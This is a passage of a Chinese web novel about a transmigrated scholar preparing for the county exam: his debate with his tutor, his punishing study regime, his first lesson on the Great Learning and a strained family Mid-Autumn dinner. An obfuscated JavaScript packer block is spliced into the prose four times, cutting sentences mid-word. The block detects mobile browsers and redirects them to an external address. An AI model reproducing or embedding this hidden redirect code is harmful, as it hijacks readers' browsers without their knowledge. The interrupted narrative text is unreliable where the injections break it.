“学生请问,县试之出题考官与阅卷考官为谁?” 秦先生将烟斗磕在桌上,白色的灰簌簌落下来,“均为安平知县。” “既然均为安平知县,那他对四书五经之内容,定有一番自己的见解。通过详析往届通过县试之人的答卷,必然能够找到踪迹。再者作为一县之父母官,知县大人施政之法也必暗含了他的思想。只要从这两方面下手,通过考试的概率可以说是大大增加了。” “你现在便如此钻营,迎合考官,日后还待如何?” 段之缙轻笑,“若先生以为这便是钻营,那请客吃饭、送礼行贿的又是什么?学生以为,科举考试能够求才已经实属不易,想要才德兼备似是太难了。而且学生这也并非是投机取巧,四书五经必然还要读熟读透,学生下的苦功夫也必不比别人少。” 说到此处,段之缙一顿,紧盯着秦先生道:“先生可否听说过这样一句话,脏官要奸,好官要比脏官更奸。” 秦先生抽烟的动作顿住,神情变得饶有兴味,深思了片刻脸上勾出来一个莫名的笑,“你这句话有意思……好吧,就论这句话,若你能说说服为师,为师便叫你明年下场。” “先生误会了,便是先生不许,学生明年也一定会下场的。” 这下倒是真叫秦先生刮目相看了,比起那些踢一脚走一步的学生,段之缙这样有主见的,若真能高中,前途显然会更为广大。 “好好好……为师为长,为师先论如何?” “先生请!” “奸臣之奸,是为对上阿谀奉承,对下鱼肉百姓,他们这样作奸犯科,好官一定要采取行动,因此奸臣势必要拉帮结派,有所依仗。而你所谓好官,与奸臣相提并论,要更奸,此类奸既然是好官之奸,那便不能鱼肉百姓,奸之一字是否要体现在阿谀奉承、刁钻诡计之上?是否也要纠集朋党?请问这是否已经忘记了“君子不党”的教训?上交不谄,下交不渎,是为君子。你一味迎合于上,又是否会到逢君之恶的程度?奸臣也要逢君之恶,忠敬之士也要逢君之恶,奸臣何以称之为奸臣?忠臣又何德何能称之为忠臣?” “学生答,请问先生,有志之士为何要做官?” “自然是上报皇恩,下抚黎民。” “如何上报皇恩?” “或以文治国抚顺小民,或以武定疆攘寇安边。” 段之缙点点头,“学生知道了。总而言之,只要能为朝廷出力,有利于我雍朝百姓,就算是报偿皇恩,下抚黎民也是报偿皇恩。那请问先生,何种官员能称之为忠臣?两袖清风家中赤贫,但是于百姓一无是处,甚至治下一片混乱的忠臣,他的忠有何用?对上阿谀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906000|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉承,但治下百姓安乐、仓禀充足之官员,他迎合谄媚就一定是奸臣吗?” 秦慎之已经知道了眼前学生要说什么,赞赏的目光投到他的身上,“磕了一下,倒将你磕的伶俐起来,今非昔比啊。为师还有一问,正途不行吗?跟皇上弹劾不行吗?为何一定要比贪官更奸,才能惩治奸佞呢?” 段之缙再施一礼,“学生认为,贪官也是分三六九等的。最下等的是极为愚蠢暴戾之官,各种搜刮就是为了自己享乐,便是其他的贪官也瞧不惯他。其次便是有些心思之人了,会巧立名目,一切都按着律例办事,可偏偏能被他搜刮到,还知道对上笼络,平辈勾结,对下施恩,贪官瞧着他顺眼,可皇上也许看不惯他。” “那最上等的一定是叫皇帝也看得过去的了?” “先生明鉴。崇德十年,葛礼在辽河省做巡抚,弄出了惊天科举舞弊案,可偏偏是弹劾他的何其芳大人被革职留任了,葛礼倒是没有伤到分毫,两年后竟然又进京做户部尚书,当时有多少士子因为冤屈吊死在牢狱上,圣上却以大规模罢考为由下旨辽河全省停考十年,最后还是因为皇太后六十大寿才被赦免。究其原因,不过是贞慧夫人李氏是皇上的乳母之一,其子葛礼又从小侍奉潜邸时的陛下罢了。若有人能比葛礼更亲近皇上,或者皇上更爱重他,未尝不能处置葛礼。只是现在还没有罢了。清官其奸,是一种除恶的方式,他们只有用奸的方式才能叫圣主喜爱,因为便是圣人也不喜欢有人天天在耳边骂自己爱重的人,尤其是这个人还不讨自己喜欢。何况,君主还没有到圣人的地步,为何要为了你去处置自己的奶兄弟呢?” 葛礼的处置,甚至要等到男主登基,那些士子才算沉冤得雪,可那有什么用呢?何其芳大人经此一事,心灰意冷,辞官归乡,没过崇德十三年便抑郁而死,那些冤死的士子也不能复活了。 “必是因为这个清官比贪官更懂得皇上的心,能搔到皇上的痒处……你今日一番大论真是说到人的心底里了。”秦慎之的面容被层层烟雾笼住,总是看不真切。 “好!妙极!我许你明年下场,只是其中辛苦,得你自己体会了!” 段之缙松了一口气,立刻恭恭敬敬下拜,郑重道:“学生一定废寝忘食,此次一定得中!” “你先别说那些大话,我只按部就班地教过学生,从来也没遇见你这样的。你是怎么想的,暂且说来。” “学生已经拜托母亲找寻考题与答卷,在此之前请求先生先将四书五经与我讲通讲透。”段之缙说着,又退到屏风处轻声提醒,“蘋儿,与先生施礼吧。” 沈白蘋隔着屏风缓缓下拜,扬声问好,“沈氏女沈白蘋,段之缙之妻,见过先生。” 秦慎之这回儿才发现屏风后有一个人,吓了一大跳,不过他并不是什么迂腐老人,愣了一会儿展颜戏谑道:“段之缙啊段之缙,教了你八年的老夫子忘了个彻底,娇妻美眷偏偏记在心头。” 两人都有些羞怯的低下头,只不过沈白蘋是真的羞涩,段之缙则是迎合先生罢了。 “先生莫怪。诚如先生所言,学生时间实在不多,上课时想边听边默记,注释一事实在没有功夫,只能托拙荆来做,学生只背诵。望先生见谅。” “放心好了,大家都是为你了能得中,为师绝不会在此处迂腐的。” 沈白蘋和段之缙这才放心,正式开始了一天的学习。 8. 第八章 雍正作息 秦慎之磕了磕烟斗,白森森的烟灰跌落到紫檀木桌子上,正堂里烟熏雾绕,他就沉浸在这个烟里授课。 “崇德九年,皇上下诏,将县试的出题内容做了一番调整,正场时做四书文二篇,覆试做五经文一篇。上了考场,写时文要求博古通今,自盘古开天到今世的事儿你都得知道,都得能论才是。安平县知县,他这个人我知道,二甲进士出身,也是响当当有学问的人物,每一届县试他都亲自阅卷,考中了的学生他也要亲自同人家论一番学问。” 段之缙摸不着头脑,怎么考试没有原文默写吗?再者考他安平县的科举,还得跟县官面试不成?既然是面试,便有通过与未通过,于是开口问道:“先生,学生们无需默四书五经的内容吗?另外拜见知县大人的时候,若是知县大人不满意,难道还能把我们刷下去吗?” 秦先生狠狠拧了眉头,“谁跟你说的县试要默四书五经的内容?若是只考你原书的东西,哪里还有那么多的老童生?科举除了时文,还有论、策、诏、诰、表、判和诗等,问钱粮答钱粮,问水利答水利,现在县试,只考时文。” “再有,你也忘得太狠了些,安平县如何考试你都不记得了?县试一共四场,正场放一次榜,又有初覆、再覆、连覆三场,每一场都放一次榜。一般的县官,每次榜上前二十名见一见也就罢了,安平县的县令一天不吃不喝都要全见完,要是过不了他那一关,轻则名次下调,重则叫你不第。因此你不但要学四书五经,还得学史学诗,学各先贤的学问,全都融会贯通,凝到一张纸上,论的有理有据,有头有尾。” 段之缙心里一沉,“时文”也就是八股文,本以为是僵尸一般的东西,学会了四书五经便罢,结果是自己小瞧了古人。一样的文体,一样的题目,想要在这么多卷子中脱颖而出,一要看书法,一眼过去便心旷神怡,二要看内容,写出来的文章首先得凤采鸾章,更要行云流水、字字珠玑,令人信服。 为此,考官们只管阅卷,而考生要考虑的东西就太多了。 “四书五经,不考你默写背诵,一天时间你要写两篇时文,专考你怎么理解这句话,在此之间,你要打动的是别人,是知县。”秦先生顿了一下,脸上浮上来一层戏谑,“因此我叫你不要一味的迎合县官,你得知道,说服不了你自己的东西,恐怕也很难打动别人。” “现在不要说别的,你便先跟我说,历朝历代的史,你还记得多少?” 他哪知道这方世界的历史?!这不过是他读的一本小说罢了。 “学生惭愧,一概不知。” 眼见着秦先生脸上便出现了茫然,又紧跟着问道:“夏商周、秦汉魏晋、隋唐宋、吴乃至当朝,一点儿都不记得了?” 吓死了!原来前几个朝代还是一样的,看来是宋亡之后,汉人重新建立了政权。 “宋亡之后的事儿基本上不记得了,前边几代,只有大概的大事件还记得。” 秦先生神色没有一点好转,“那你也敢同为师说大话,便是一日不停地学,你能将史书吃透吗?还有诗词歌赋一类,你也不能不学。” “先生,还是叫我试试吧。”时间虽然紧迫,但是作为一个读过大学,学过思想政治课程的人,他不认为他的思想深度比不上古人,只要能把书啃下来,未必不能一战。 “先生,今日还请您先为我摸摸底,然后,每日下课后将第二日要讲得内容说与我,我当晚便诵下来。第二天您也不必再浪费时间,直接为学生讲解便好。至于史书……不必再为学生讲事件,只说学生应从中体悟到什么便好。您也知道,学生的时间不多,因此最多两个月,请您先为我讲完四书五经,再两个月,请您讲各代先贤的著述,剩下的三个月,就是史书和其他的了。先生意下如何?” “便先如此吧!”秦慎之也是哀叹一声,死马当做活马医,先干了再说。 “我也不用摸底了,我在这里准备准备,你也准备准备,明天一天,《大学》一文我会讲完,但你要先证明给我看,你能一日背下《大学》、《中庸》两书,共五千余字,我才会答应你的计划,要不然一切都是空谈。还有,从来没有说将先贤之言和四书五经分开讲的,因此我四个月给你讲完这些东西,这四个月间,你得把四书五经、先贤之言和至少唐史及之前的史书全都背下,否则时间绝对是不够用的。便是县试通过了,你也难过县令那一关。” 段之缙闻言深深吐了一口气,前路困苦,可也不得不走了。 段之缙抽出《大学》一文,先通读一遍,理解了大体的意思,知悉了三纲领与八条目,理解了其中的为政以德的思想和心性论,便开始凝神静气按段背诵。 《大学》的文字还是比较熟悉的,因而一千五百余字,不过一个时辰便诵完,正恰巧是口干舌燥,心烦意乱的时候,沈白蘋身边的春华先上去给夫子添了水,又提着小壶走到段之缙身边,悄声说:“二奶奶吩咐奴婢给二爷添些水。二奶奶说了,叫二爷求稳不必求快,真真把东西记进了心里,这才是没浪费功夫呢。” 段之缙轻笑了一声,刚要叫她传话回去,让沈白蘋放心,上面端坐的秦慎之猛磕了一下烟斗,警告一般激烈地咳了起来。屏风后边的沈白蘋觉得羞,小丫头也吓得缩缩脖子,低着头钻回了屏风里边。 “有人添茶倒水,更应该专心致志才是。你说是不是啊缙儿?” 段之缙连忙应是,展开纸笔,松烟忙上来磨墨,段之缙便一笔一划,把刚才背诵的书默了出来,最后顺势另起一行,写道:“蘋儿放心。” 吹干了墨水,段之缙将默写的功课塞到了松烟手中,“去传给夫人,叫她为我对照改正,看是否有默错了的地方。” 松烟瘪着嘴偷笑,将一打纸递到屏风后,段之缙深呼吸了两下,又开始背诵《中庸》之文。 刚通读理解了意思,屏风后边的纸就传回来了,那一笔“蘋儿放心”被狠狠地涂抹去,旁边一串娟秀的小字,笔尖儿一扫尾,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906001|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎还能看出来写字人的恼,“并无此句!慎写慎写!”惹得段之缙轻笑一声,这也算是一天的快乐事儿了。 之后的时光便苦得很,因《中庸》之文他多少也知道些,所以背得不算慢,只是如何也得小两个时辰,再是四千字,默一遍又得一个多时辰,如此,《中庸》一书,六个小时打不住。 从辰正初刻先生进了门,到酉正时分先生带着他的烟斗走出去,足足五个时辰的功夫,段之缙先费九牛二虎之力说服了秦慎之,又读书、吃饭、读书,一天下来,身子疲惫到提不起劲儿,可虽是背完了两本书,到底是自己不满意。 不行……这样的话,也就是刚刚能学完罢了…… 人还是得对自己狠一点。 一个堪称灭绝人性的作息方式一下子窜进他的脑子,一个睡四个小时,剩下的事儿用三个小时做完,如此便有十七个小时的读书时间。 大名鼎鼎的雍正作息,一天掰成两天用,就不信学不完这些书! 说干就干!段之缙起身稍稍活动了一番,缓了缓身上酸麻胀痛的劲儿,立刻就拿出来了《论语》诵读,这是一万六千字的大工程,不是一天两天能诵完的,今儿晚上挺到子正时分,刨去松松筋骨要用的半个时辰,现下还有两个半时辰,只背诵到三分之一便好,明儿寅正时分再默不迟。 这边干得正起劲儿呢,屏风里的沈白蘋莲步轻移挪到了段之缙的书桌旁,放低了声音问道:“二爷……你不用晚饭吗?” 段之缙捏了捏书角,蹙着眉,眼睛一刻不转的盯在书上,一边默记一边回,“我日后只用中午一顿。除了父亲、母亲或者施姨娘唤我,平时你能自己定下的事儿都不必告诉我了。”沈白蘋轻点头,抱着自己的书悄声退下,怕惊了他读书。 第一天去适应这样的作息,真是够难熬的,才将将巳正二刻,大脑高速运转了一天的段之缙便要睁不开眼了,脑袋直往书桌上磕,酽茶灌了一壶,总是没什么用处,书里的“鸟之将死,其鸣也哀;人之将死,其言也善”,怎么看着看着,就全成了“人之将睡,其声也倦”呢? 段之缙疲倦的声音坚持着从嗓子里挤出来,实在是熬得不行,将书摊在桌子上朝外喊道:“松烟!送些冰水来!” 夜里寂静非常,只留下段之缙自己的声音,空荡荡的,响彻了整个房间,无半分的回应。 “松烟?” 奇怪,松烟去哪里了? 段之缙趿拉着木屐去看,刚要推门便见松烟气喘吁吁地跑过来,满头汗水。 “这是干什么去了?” 松烟只着急忙慌地说去了茅房,又问二爷有什么吩咐。 “弄些冰水来,叫我擦擦脸。” 冰水果然奏效,一头扎进去,困倦的脑子一个激灵便清醒了,又能“之乎者也”一段时间。 等着背完了书,段之缙也不想打扰早就睡下了的沈白蘋,稍洗漱了一番便合衣躺在了外间的榻上,将就着过了两个时辰。 9. 第九章 首日上课 “《大学》原是春秋时期曾子所做,《礼记》之第四十二篇,朱子将其从《礼记》中提出,与《中庸》、《论语》、《孟子》三书合为‘四书’,并为四书之首,合天理、明德、格物、人事为一统,修仁德化外在,治国而平天下,是为大学。” 第二天寅正时分,段之缙按照计划早早的醒了过来,也不觉得十分困倦,默了昨日所背之《论语》,出去喘了两口气便觉周身神气涌动,五体通泰,更是精神奕奕。 可等到了秦先生带着他的老伙计烟斗来了,正堂里就是一片烟雾缭绕,《大学章句集注》摊开在桌子上,先生看也不看一眼,直接讲了起来。 疲乏后知后觉地爬了上来,段之缙的神思刚跑要跑偏,一个烙铁似的烟斗立时点在了他的手背上,疼得段之缙一个激灵,浑身汗毛竖起。 “讲之前,先将《大学》背与为师听。” 段之缙立马醒神,先歉疚地给先生道歉才胸有成竹地背了起来,“大学之道,在明明德……”现下学堂里俱是段之缙的背书声,行云流水一字不错。 秦先生攒起来的眉毛这才松下些。 “随我出来吧。” 段之缙虽然不解,还是跟着先生走到了院子里。 秦先生狠狠吸了一口烟,咳嗽了两下吩咐道:“背《中庸》,大声地背,越大声越好。” 这是要干什么?难道对着天背书能有奇效?可是既然先生吩咐了,就不能不照办,段之缙压下心里疑惑,声音洪亮地开始背诵,“天命之谓性,率性之谓道,修道之谓教……” 他这边的动静越来越大,引得致知斋里洒扫的下人开始装模做样地干手里的活计,实则竖着耳朵听二爷背书。 这是怎么了? 大家心里都有这个疑问。 以往授课,都是正堂门一关,里边人死了都没人知道,怎么今日先生带着我们二爷出来授课了? 凑热闹的人越来越多,正堂前一小片地方,挤上了致知斋伺候的十二个小丫头小伙子,一个个拿着扫帚,简直要把台阶扫得反光。 松烟想要上去赶人,却被秦先生制止,段之缙就顶着大家火热的目光背完了《中庸》全篇,全身的肌肉都绷紧了。 最后一个字落下,秦先生咳嗽了一声,操着他天生的大嗓门开始讲话。 “你们知道缙儿为什么出来背书吗?” 下人们左顾右盼又面面相觑,一个个摇摇头。 “因为他今天走神了!上眼皮差点掉到桌子上!” 语罢,秦先生痛心疾首地回头看段之缙,“你还有多长时间就要考试了?你这个年纪你怎么睡得着觉啊!为师要是你这个情况,为师这七个月不睡觉都得读书,你怎么敢走神?” 这一通话说得下人恨不得死过去,真是肠子都悔青了,怎么就爱凑这个热闹,看了二爷的笑话? 段之缙清秀的脸憋得通红,好似一个猴屁股,他已经很久没这么丢过人了,连连鞠躬道歉。 “学生知错了,望先生宽宥学生。” 秦先生冷哼一声,又转向鹌鹑似的小丫头小伙子,“你们也不用害怕,我管着你们二爷,断没有为难你们的意思。日后,只要正堂前有缙儿的背书声,你们就全都知道,这个不争气的东西在课上神思游离,不知去往天外何地了!”说完大袖一挥疾走进堂内,段之缙尚不知如何是好,听得秦先生大呵一声,“还不跟上!”于是立刻跟在人家屁股后边进门。 秦先生还是关爱段之缙的,知他背书背得口干舌燥,先许他喝口水,然后又接着讲起《大学》的内容。 “《大学》一文,一千五百又四十六字,字字是精华,我圣人所作立身之本、治国之要全在其中,微言大义。因此学生要学的第一篇文,就是《大学》。‘三纲领’明明德、亲民、止于至善,‘八条目’格物、致知、诚意、正心、修身、齐家、治国、平天下,是一个渐进的过程,以修德为要旨,将内在的德行外化,便能齐家、治国、平天下。” “大学之道,在明明德,在亲民,在止于至善。缙儿,你说这句话是什么意思?” 段之缙沉思片刻,回道:“大学,大人之学,要洞悉高尚的道德,亲善百姓,最后到达最高境界的善。” “大谬矣!”秦慎之的烟斗在桌上磕了两下,并无生气的模样,实际上,他问这个问题就是要叫段之缙出错,只有出了错才知道应当怎样背书。 “你背书,不是干巴巴地背下来,要思考。圣人之言,每一句都有无尽的道理,细细体味。止于至善若想说达到最高的善了,后句‘知止而后有定,定而后能静’又要做何种解释?都达到最崇高的善了,才能达到‘定’的程度,是否不合理?再有,《大学》是要教化你们的,教德行的,叫你们亲善百姓作甚?” 段之缙恍然大悟,回想起《大学》的整片结构,从格物到平天下都是一步步递进的,因此所谓“明德”、“亲民”、“止于至善”,应当是《大学》的目的,习得此书,个人能够如何。 “天降生民,已经具备了仁义礼智信,但是人都是蒙昧的,他们不能看到内心的善。” “原来是性善论,”段之缙默思,“似此,《大学》一文便要人去挖掘内心的原貌。”思及此处,段之缙再次做出了回答,“第一个‘明’该是洞悉、发现之意,‘明德’之意,当时我辈天生之仁义秉性。止于至善,其‘善’是人本身便具有的,那么‘至善’,便是懂得人本来便应该懂得的事理,因而此句之意,应当是想叫学生明白事物原貌。至于‘亲民’,学生不知何解。” 秦慎之大喜,能通过一点儿“性善论”想到此处,即便是读熟了四书五经的人再回来思考,再给他新的典籍解读,也未必能做到此种地步,顿时觉得此子未必不能通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906002|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县试。 “‘亲’,程子之解释为‘新’,革旧之意。是要你革新自身的混沌。” “学生知晓了。” 于是如此师生二人,一个问一个答,学生答错了,老师再去另做解释,这般过了一个多上午,一千五百余字的《大学》才全部讲完,沈白蘋在屏风后边,也记了整整一本书。 此时太阳已经从正当空慢慢往西边移,几个人才匆匆忙忙吃了些饭,秦慎之片刻都不敢耽误,连催着段之缙尽快上课。 刚展开了《中庸》一文,段之缙突然问道:“先生,您上午所讲一切,都是建立在性本善的基础上,可是有没有想过,人性本来就是邪恶的呢?或者人天生没有什么善恶之分,只是一片蒙昧罢了。” “婴儿一诞生,和小猫儿、小狗儿有什么区别,都是趴在母亲的身上吮吸乳汁,有时候吮出血都不肯放松。等着长大写了,或许也没有人教给他嫉妒,可他就是会去抢夺别人的东西。也没有人教给他刻薄,可他就是会嘲笑没有母亲的小孩儿。成人了,有些人普普通通地过了一生,有些人自然而然就是会杀人放火。” 秦先生听了微微一笑,“人性本来是什么样子,你觉得重要吗?人是能够教化的才最重要。人性本善,那么《大学》就叫他挖掘自己内心的仁德,人性本恶,那么《大学》就教化他,叫他去寻找世间的仁德。人性是蒙昧的,那就要去开化。人什么样子,全在一个字——‘教’,天生恶人有吗?为师认为没有,全是教养不当的原因。不是所有的孩子都会去嘲笑他人,抢夺他人的财物,即便这样了,他们日后也未必不能弃恶扬善。” “可是教化,对一些人并不管用,比如说赌|博,那些赌鬼跪在家人面前痛哭流涕决心悔改的时候,先生您觉得他们会改悔吗?” 秦先生吸了一口烟,长长的吐出来,“所以人不能只叫人来教化,朝廷的一个重责便是教化百姓。官员的话之所以没人敢不听,就是因为他背后是朝廷,是皇帝,离了这一切,有些人就是无法教化。” “学生明白。不过先生刚才也说了,人性不一定‘本善’不是?那刚才讲书的时候,先生便讲错了。”段之缙又重新回到了原来那个话题,秦慎之了然一笑,“你啊你……为师教你的不可能出错,天生众人,早就赋予了他们善的秉性。” “可是您刚才也说了……” 段之缙的话尚未说完便被秦慎之摆手打断,“我个人的想法不一定对,但朱子所言‘天降生民,莫不与之仁义礼智之性矣’一定是对的。你要是不听朱子说的话,天神下凡,你也别想着去考试了。你要是敢在答卷上写‘性本恶’,咱们两个人恐难逃牢狱之灾。” 原来如此,这样说来,无论什么题目,最后解出来论出来,都得和朱子的解释相合,想通过标新立异的观点取胜,是不可能的,并且可能会因为身为异端而遭受牢狱之灾。 10. 第十章 三弟发难 白日里听课晚上背书,这二十来天的时间,四书已经全然学完,融会贯通了,科举考试各种文体,现在虽还没写过,但起码段之缙知道,每一种文体应该写什么,怎么写。 太阳永远东升西落,日子一去不回头,除了中间几天心脏有些不舒服,萃佩请来大夫开了药之外,每天都是一样的,直到明天是八月十五中秋佳节,秦先生特意给段之缙放了一天假,叫他好生休息一会儿。 这个人从子正时分躺下了,就一睡不醒,仿若过世了一般,中午饭都没用上,一觉睡到了太阳西斜,一睁眼儿,就是太太身边许嬷嬷那张严正的脸,吓得段之缙拽着被子猛缩到床里边,等着看清了是谁才松下一口气。 “嬷嬷真是吓坏我了……嬷嬷今日来我这儿,是有太太有什么吩咐吗?” 许嬷嬷脸上牵连出一点儿笑,只是嘴边两道深深的纹路显得有些刻薄,“今儿是中秋团圆的好日子,太太叫奴婢来跟二爷说,老爷吩咐了在望月堂里边设宴,父子兄弟的聚在一起,好生吃一顿团圆饭,这一年都要团圆美满才是。” 段之缙属实有些日子没慢慢悠悠地吃顿好饭了,心中还有些期待,望向停下手中针线的沈白蘋,却见她一脸的茫然。 “嬷嬷,怎么今年突然要在老爷的院子里设宴?往年老爷不都是在陈姨娘的逢春院用晚饭吗?” 沈白蘋觉得有些不对,自她嫁过来两年,也只有除夕那一天是真正的团圆饭,其他的吉利日子,老爷都是和逢春院里的人团圆,可从来没和他们这些人“团圆”过。 其实王虞和许嬷嬷也没弄清楚今年是怎么回事儿,哪里来的这么好的兴致吃劳什子团圆饭,连带着太太也请上了。 “太太心里也疑得很,只是老爷吩咐了,二爷又是亲儿子,总不能不去。” 段之缙是大风大浪见惯了的人,今日只是吃个饭罢了,索性先去了,到时候见招拆招。打定主意,段之缙笑着跟沈白蘋说:“总不能去了之后老爷说今天要吃‘儿子肉’,叫我跳到锅里吧?” 他这样一句戏谑的话叫人哭笑不得,许嬷嬷见他没有忧惧的模样也放下心来,行了个礼便回主院去跟太太回话。 “二爷……今天晚上还是小心些吧,我怕他们来者不善。”沈白蘋笑过,还是有些担忧,忍不住开口提醒段之缙,段之缙趿拉着鞋子站在地上,将青衣外衫罩在身上,腰带一栓便衣冠不整地走到了水盆旁擦脸,无所谓地回道:“等会儿他们要如何现在也猜不着,何必老想着这个事儿?倘若真是老爷心血来潮,只是想着阖家团圆吃顿饭,你们岂不是白担惊受怕了?再说了,你担心什么,怕你的丈夫受委屈不想读书,叫你做不了官太太?” 沈白蘋放下手里的绣棚,一把薅过来他手里滴答着淌水的帕子,白葱似的十指攥着一拧,贴到了丈夫的面上用了些力擦拭。 这二十来天把她两年来受的苦都涤荡尽了,段之缙又爱与她说话调笑,每每说不到两句便将人弄恼,挨一顿尖牙利齿的回击。 今天也是如此,沈白蘋手上用力,嘴上也不饶人,“二爷上一回儿还说什么怪力乱神不可轻信,今儿不也信了?连个童生都不是还敢说什么官太太,我看是你想做官老爷了!”说着手上用力在段之缙后腰上拧了一把,谁知他刚醒来身上乏力,差点一脑袋栽水盆里,一把撑住了脸盆架子才稳住,倒把沈白蘋吓得不轻。 她……她怎么能对着丈夫动手呢? 眼见着夫人的脸一下子煞白,段之缙故作担忧地跟她嘱咐道:“你可千万不能把这个事儿跟太太说。” 沈白蘋当然知道,这个事儿要是叫太太知道了,指不定要如何呢! “要是叫太太知道,我叫四书五经亏了身子,她岂不是要当着我的面把书‘打死’?” 他又拿着那天的事儿说笑!沈白蘋这会儿也不害怕了,羞恼地瞪了段之缙一眼,故意粗手粗脚地给他收拾了一顿,夫妻二人才出了院子去望月堂。 他们两个进门的时候,只有一个老嬷嬷领着一个男孩儿在,段之缙还没反应过来这是谁,沈白蘋便先开了口。 “小叔近日可还好?” 那男孩原来是段之缙的四弟,今年才十一岁的段之绪。 段之缙跟在后边唤了一声绪儿,这样便是打过了招呼。 段之绪拘谨得很,小孩子连忙站起来回礼,口称“二哥”、“二嫂”,回道:“弟弟近日跟着夫子学些经书,哪里都好。”然后才又坐下,也不敢坐实了,只坐了一半的凳子。 三个人再也没了旁的话,木鸡一般坐着,屋子里只有奴婢在添茶倒水,来回走动。 过了一会儿,门槛边儿又出现了两个人影,一个身着月白衣裙的夫人带着一些小巧精致的首饰,手中牵着一个女孩儿走了进来。 坐着的三人连忙起身,段之缙跟在沈白蘋后边唤了姨娘,那小姑娘也脆生生地叫人,一派天真烂漫的样子,叫人喜欢。 “缙儿、蘋儿,绪儿,都不要拘礼了。”周姨娘带着女儿坐下,小女孩一会儿要喝水,一会儿要吃糕饼,气氛顿时活络了起来,沈白蘋悄悄凑到段之缙耳边提醒道:“这是周姨娘,那个妹妹是咱们家最小的妹妹,云霓丫头。” 说道云霓丫头,段云霓就跑了过来,抱住沈白蘋的胳膊偷瞧段之缙,段之缙咳了一声,猛地凑过去做鬼脸儿,把小丫头吓得躲到亲娘身后,又哼唧着抱怨道:“二哥吓唬我!娘你快教训他!” 周姨娘点点她的鼻头,只说:“二哥哄你玩呢,怎么就要娘教训他了?” 段云霓冷哼一声,又跑过去拽着段之绪玩耍,两个差不多大的孩子玩得不亦乐乎,直到王虞走进来,身边跟着许嬷嬷和施姨娘。活泼的气氛瞬间冰封,两个小孩儿立刻安静,规规矩矩地问好,然后乖巧地坐在椅子上,头也不敢抬。 “太太,姨娘。”段之缙和沈白蘋也起身问好,王虞只点点头坐下,开口便是书读的怎么样了。 “儿子自己觉得还行,先生也还算满意。” 他自己觉得如何没什么参考价值,不过秦先生还算满意的说法叫王虞多少放下了心,看来这个气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906003|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人的好儿子也未必没有希望,心情一好也愿意疼爱他两句,“你也不要着急,这一次不中还有下一次,还是身体要紧。前几日萃佩来主院说你心悸,吓坏了我了,也吓坏了你姨娘。” “太太的嘱咐,儿子都记住了。” 王虞很是满意,锋利的目光扫过时沈白蘋顿了一下,终究还是叫他俩都坐下,段之缙凑过去跟施姨娘说话,她也不去说什么,眼睛里神思渐渐涣散,不知道陷入了何种回忆。 段父来的时候,身边热闹极了,有美妾相伴又有儿子问候,还有一个十三岁的小女儿,叽叽喳喳地在身边闹腾,娇滴滴地撒娇,好一个和和美美的一家四口,也不知他把“外人”请来吃哪一门子的团圆饭。 只是进了门,给父亲问安的问安,给丈夫见礼的见礼,每一个人脸上都是喜气洋洋的表情,仿佛亲密无间的一家子相聚在一起,谁也看不出来,背地里有多少的龃龉 唯有王虞,或许也只有王虞敢这般,仍坐在椅子上,毫不遮掩地露出来嘲讽的笑,睁眼看这一场矫情违意的表演。 段老爷也不理她,全当她不存在,招呼着大家坐下,倒真像个和善的父亲。 “纬儿、缙儿、绪儿,快动筷子吧。” 他说着,自己准备动第一筷,谁知王虞一点儿规矩都没有,也不叫人布菜,自己便夹了一块儿抓炒鱼片,刚一放到嘴中便蹙着眉捂住了口,难以忍受似地吐了出来。 “鱼片不脆,肉都炸老了,做的什么东西。” 这样的扫兴话大家听了好几年都不习惯,周姨娘和两个小姑娘更是吓得不敢喘气。 饭桌上一片机锋,段成平黑着脸吓得没人再动筷子了,段之缙却不受影响,他是来吃饭的又不是来吃气的,又十分好奇那不脆的鱼片,夹了一口放入嘴中,入口香脆,味道有些像糖醋里脊,内里却十分的软嫩。 “儿子没见过世面,倒是觉得这道菜十分适口,太太是淮宁人像是吃不惯京里的菜。” 